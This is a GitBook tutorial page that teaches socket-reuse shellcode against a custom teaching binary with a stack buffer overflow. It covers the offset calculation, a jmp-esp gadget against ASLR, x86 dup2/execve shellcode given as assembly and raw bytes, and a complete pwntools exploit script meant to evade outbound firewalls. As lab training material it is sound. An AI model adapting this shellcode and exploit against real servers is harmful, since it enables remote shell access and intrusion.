Roman1
  • Introduction
  • Embedded Device Exploitation
    • Introduction to Firmware Analysis
  • Stack Exploitation
    • 32-Bit Return2Libc
    • Sigreturn Oriented Programming
  • Shellcode Development
    • Linux x86 Socket Reuse Shellcode
  • Heap Exploitation
    • Introduction to Heap Exploitation
Powered by GitBook
On this page
  • Section Zero - Preface
  • Why use Socket Reuse Shellcode?
  • Section One - Enumeration
  • Section Two - Reverse Engineering
  • The vulnerability
  • Offset Calculation
  • Bypassing ASLR
  • Section Three - Shellcode Development
  • Section Four - Exploitation and Profit

Was this helpful?

  1. Shellcode Development

Linux x86 Socket Reuse Shellcode

PreviousSigreturn Oriented ProgrammingNextIntroduction to Heap Exploitation

Last updated 4 years ago

Was this helpful?

Section Zero - Preface

The target executable is a custom binary written for the purpose of teaching the development of socket reuse shellcode.

Why use Socket Reuse Shellcode?

While using reverse TCP shellcode may be sufficient in many cases, many servers will have strict outbound firewall rules in place preventing the outbound connection required by reverse TCP shellcode. However these firewall rules can be bypassed by reusing the existing connection to the target server. This is where socket reuse shellcode comes into play.

Section One - Enumeration

Running the "file" command on the binary shows this is a 32-bit ELF executable.

Checking the memory protections in place shows this binary has no protections enabled.

Running the binary as intended and providing a port number as an argument spawns a simple server.

Section Two - Reverse Engineering

The vulnerability

Browsing to the vuln() function within a disassembler, spotting the vulnerability is clear.

  1. The value of "0x0" is passed as the flag argument for recv.

  2. "0x400" bytes are being read in from the endpoint user.

  3. The destination buffer is located "0x218" bytes relative from the base pointer.

  4. The address of the destination buffer is now pushed onto the stack.

  5. The Socket FD argument for recv is now pushed onto the stack.

  6. recv() function call is made

Due to the fact that the distance between the base of the destination buffer is smaller than the amount of bytes read by the recv() function, this binary suffers from a buffer overflow vulnerability.

Offset Calculation

In order to manipulate the stored return address with the intent of redirecting code execution, the distance between the user's input and the stored return address must first be calculated.

For this calculation, consider that the destination buffer is located "0x218" bytes relative to the base pointer. By providing 0x218 bytes of data with an additional 4 bytes which overwrites the stack frame's old base pointer. In conclusion reaching the stored return address requires 540 total bytes of padding to be given.

Bypassing ASLR

Due to Data Execution Prevention being disabled on the binary, returning to shellcode becomes an option. However because of ASLR, the location of the user input is unknown.

However, if the binary contains any "jmp" or "call" instructions to a register which points at the user input this can be utilized to redirect the execution flow into the user data.

Using ropper, a "jmp esp" instruction can be found within the binary.

Section Three - Shellcode Development

In order to reuse the existing connection, the relative location of the socket file descriptor for the current connection has to be known. This can be found by analyzing the section of the binary where the accept() function call is made.

  1. Within the "run_server" function, the accept() function call is made.

  2. Following this function call, the return value of accept is stored at "ebp-0x10".

Due to the buffer overflow overwriting the stored base pointer and the function prologue storing this old base pointer value back into the EBP register an offset from the base pointer cannot be used. However, by debugging the binary and comparing the address at which the socket file descriptor resides to the stack pointer value at the time of the crash the offset can be determined.

The importance of obtaining the socket file descriptor is due to it being the descriptor of the current connection.

By setting a break point on the "mov" instruction within the "run_server" function then running the binary, the address at which the socket FD resides can be seen.

Placing the break point.

Executing the binary within GDB.

Hitting the break point.

Inspecting the address.

Register state at crash.

Now that the address of the socket file descriptor is known, the offset can be determined by subtracting the value of ESP from the address of the socket file descriptor.

Confirming the offset.

With the information from analyzing the binary, an address relative to the ESP register can be dereferenced to retrieve the socket file descriptor from memory.

mov ebx, [esp+56]   ; STORES SOCKET FD IN EBX

Using the DUP2() system call the STDIN, STDOUT, and STDERR can all be set to the socket file descriptor.

xor eax, eax        ; CLEARING EAX REGISTER
mov al, 0x3F        ; SYSCALL NUMBER FOR DUP2
xor ecx, ecx        ; CLEARING ECX REGISTER
mov cl, 0x2         ; FD FOR STDERR 
int 0x80            ; PERFORM SYSCALL
​
xor eax, eax        ; CLEARING EAX REGISTER
mov al, 0x3F        ; SYSCALL NUMBER FOR DUP2
dec ecx             ; LOWERING ECX TO STDOUT
int 0x80            ; PERFORM SYSCALL
​
xor eax, eax        ; CLEARING EAX REGISTER
mov al, 0x3F        ; SYSCALL NUMBER FOR DUP2
dec ecx             ; LOWERING EXC TO STDIN
int 0x80            ; PERFORM SYSCALL

The shellcode can be finalized by performing an execve() system call with the "/bin//sh" string.

xor eax, eax        ; CLEARING EAX REGISTER
push eax            ; NULL BYTE TERMINATOR
push 0x68732f2f     ; //sh
push 0x6e69622f     ; /bin
mov al, 0x0b        ; SYSCALL NUMBER FOR EXECVE
mov ebx, esp        ; STORING A POINTER TO THE /BIN/SH STRING IN EBX
xor ecx, ecx        ; CLEAR ECX REGISTER
xor edx, edx        ; CLEAR EDX REGISTER
int 0x80            ; PERFORM SYSCALL

Below is a snippet of the completed shellcode

mov ebx, [esp+56]   ; STORES SOCKET FD IN EBX
​
xor eax, eax        ; CLEARING EAX REGISTER
mov al, 0x3F        ; SYSCALL NUMBER FOR DUP2
xor ecx, ecx        ; CLEARING ECX REGISTER
mov cl, 0x2         ; FD FOR STDERR 
int 0x80            ; PERFORM SYSCALL
​
xor eax, eax        ; CLEARING EAX REGISTER
mov al, 0x3F        ; SYSCALL NUMBER FOR DUP2
dec ecx             ; LOWERING ECX TO STDOUT
int 0x80            ; PERFORM SYSCALL
​
xor eax, eax        ; CLEARING EAX REGISTER
mov al, 0x3F        ; SYSCALL NUMBER FOR DUP2
dec ecx             ; LOWERING EXC TO STDIN
int 0x80            ; PERFORM SYSCALL
​
xor eax, eax        ; CLEARING EAX REGISTER
push eax            ; NULL BYTE TERMINATOR
push 0x68732f2f     ; //sh
push 0x6e69622f     ; /bin
mov al, 0x0b        ; SYSCALL NUMBER FOR EXECVE
mov ebx, esp        ; STORING A POINTER TO THE /BIN/SH STRING IN EBX
xor ecx, ecx        ; CLEAR ECX REGISTER
xor edx, edx        ; CLEAR EDX REGISTER
int 0x80            ; PERFORM SYSCALL
Shellcode
​
"\x8B\x5C\x24\x38\x31\xC0\xB0\x3F\x31\xC9\xB1\x02\xCD\x80\x31\xC0\xB0\x3F\x49\xCD\x80\x31\xC0\xB0\x3F\x49\xCD\x80\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\xB0\x0B\x89\xE3\x31\xC9\x31\xD2\xCD\x80"

Section Four - Exploitation and Profit

Using all of the information above, a simple exploit script can be crafted. An example of this is below:

#!/usr/bin/env python3
from pwn import *
import sys
​
#-------------------------------
#-+-+-+ Twitter @0xRoman1 +-+-+-
#-------------------------------
​
#==============================================================
# =-=-=- PWNTOOLS BOILER PLATE -=-=-=
​
#context.log_level = "debug"
io = remote("127.0.0.1", 7777)
​
#==============================================================
# =-=-=- USEFUL VARS -=-=-=
​
padding = b"\x20" + b"\x00" * 539
jmpesp = p32(0x080493eb)
​
pwn = padding
pwn += jmpesp
pwn += b"\x8B\x5C\x24\x38\x31\xC0\xB0\x3F\x31\xC9\xB1\x02\xCD\x80\x31\xC0\xB0\x3F\x49\xCD\x80\x31\xC0\xB0\x3F\x49\xCD\x80\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\xB0\x0B\x89\xE3\x31\xC9\x31\xD2\xCD\x80"
​
#==============================================================
# =-=-=- EXPLOITATION -=-=-=
​
io.send(pwn)
io.interactive()
​
#==============================================================
​
If you'd like to download the binary, you can do so here.